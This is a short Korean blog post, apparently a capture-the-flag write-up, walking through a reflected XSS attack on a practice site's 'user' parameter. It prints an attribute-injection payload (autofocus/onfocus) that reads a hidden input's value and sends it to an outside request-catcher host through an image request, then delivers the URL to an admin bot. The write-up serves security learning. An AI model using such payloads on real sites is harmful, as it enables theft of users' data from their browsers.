[CTF] Basic Script Prac

CHIKAยท2024๋…„ 7์›” 1์ผ

๐Ÿ“Œ
XSS (Cross Site Scripting)
Client Script ํ™œ์šฉ



๊ด€๋ฆฌ์ž ๊ณ„์ •์œผ๋กœ ๋“ค์–ด๊ฐ€๋ฉด Flag Here...! ์นธ์— ํ”Œ๋ž˜๊ทธ๊ฐ€ ์žˆ์„ ๊ฒƒ์ด๋‹ค.
์Šคํฌ๋ฆฝํŠธ ์‚ฝ์ž…ํ•ด์„œ ํƒˆ์ทจํ•ด๋ณด์ž.

์šฐ์„  ์Šคํฌ๋ฆฝํŠธ ์‚ฝ์ž…์„ ์–ด๋””์„œ ํ•  ์ˆ˜ ์žˆ์„์ง€ ์‚ดํŽด๋ณด์ž.
user ๊ฐ’์„ ๋ณด๋‚ด๊ณ  ์žˆ์œผ๋‹ˆ user๋ฅผ ์กฐ์ž‘ํ•ด๋ณด์ž.
ํŠน์ˆ˜๋ฌธ์ž ์‚ฝ์ž… ๊ฐ€๋Šฅ์—ฌ๋ถ€ ํ™•์ธ ์œ„ํ•ด test<'"> ์ž…๋ ฅ

๊บฝ์‡  ์‚ฝ์ž… ๊ฐ€๋Šฅํ•˜๋ฉฐ ์šฐ๋ฆฌ๊ฐ€ ํƒˆ์ทจํ•ด์•ผํ•˜๋Š” ์ •๋ณด์˜ input name="info" ๊นŒ์ง€ ํ™•์ธ.

๊บฝ์‡  ์‚ฝ์ž…์ด ๊ฐ€๋Šฅํ•˜์ง€๋งŒ inputํƒœ๊ทธ๋ฅผ ํƒˆ์ถœํ•˜์ง€ ์•Š๊ณ  ํ•ด๋ณด๋ คํ•จ.

๋จผ์ € alert(1) ์„ ์ถœ๋ ฅํ•ด๋ณด์ž.
user๊ฐ’ ๋’ค์—

์Šคํฌ๋ฆฝํŠธ๊ฐ€ ์ž˜ ์ž‘๋™ํ•˜๋Š” ๊ฒƒ์„ ํ™•์ธํ–ˆ์œผ๋‹ˆ ํƒˆ์ทจ์ฝ”๋“œ๋ฅผ ์จ๋ณด์ž.

" autofocus 
onfocus= "javascript: var flag =document.getElementsByName('info')[0].placeholder; 
<!--name='info'๊ฐ€ ์ง€์ •๋œ ์ฒซ๋ฒˆ์งธ ์š”์†Œ์˜ placeholder์˜ ๊ฐ’์„ ๋ถˆ๋Ÿฌ์˜ด. -->
var i =new Image();i.src=`https://en2hyoic3j7mi.x.pipedream.net/?flag=${flag}`


Flag Here..! ์ด ์ž˜๋„˜์–ด์˜ค๊ณ  ์žˆ๋‹ค.
๊ด€๋ฆฌ์ž ๋ด‡์—๊ฒŒ URL์„ ๋ณด๋‚ด๋ฉด ๊ด€๋ฆฌ์ž ๋งˆ์ดํŽ˜์ด์ง€์— ์žˆ๋Š” ํ”Œ๋ž˜๊ทธ๋ฅผ ํƒˆ์ทจํ•  ์ˆ˜ ์žˆ์„ ๊ฒƒ์ด๋‹ค.


๊ด€๋ฆฌ์ž ์ •๋ณด ํƒˆ์ทจ ์™„๋ฃŒ!

0๊ฐœ์˜ ๋Œ“๊ธ€